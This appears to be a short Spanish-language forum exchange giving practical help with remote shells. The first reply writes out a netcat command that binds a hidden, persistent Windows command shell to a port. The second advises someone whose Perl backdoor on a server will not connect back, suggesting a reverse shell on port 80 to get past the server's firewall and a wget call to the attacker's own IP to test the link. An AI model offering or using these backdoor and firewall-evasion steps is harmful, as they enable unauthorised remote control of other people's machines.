Lo tenes mal creado.. El correcto es asi:

nc.exe -L -d -p 5544 -e cmd.exe

-L a diferencia de -l, acepta mas de una conexion, en cambio con -l (minuscula) una vez terminada la primera conexion, cierra.
-d no muestra la ventana
-p puerto XXXX
y -e ejecuta un programa al conectarse, en este caso lo que queres (En caso de que sea windows, o mete el que necesites) el cmd.exe

Eso querias??

Saludos ^^

está bien el comando, el netcat debe quedar a escucha "pero en tu pc" por lo tanto no necesitas dar como argumento el cmd.exe a menos que te quieras autotroyar xD o el servidor sea windows server.

Si no te conecta no te preocupes, no es tu firewall, debe ser el firewall del servidor y contra eso no puedes hacer nada, si esa conexión inversa no sirve es porque no sirve.

Intenta hacer lo mismo pero cambiale el puerto al 80, normalmente los firewalls dejan abierto el acceso a todos los puertos 80 remotos para utilizar wget, si  no te resulta prueba con dejarte a escucha al puerto 80 nuevamente pero ahora ejecutale un wget asi:
wget http://miip/
sy te sale la conexión en el netcat es porque de alguna forma el backdoor en perl no se está ejecutando y necesitas otra shell que si funcione.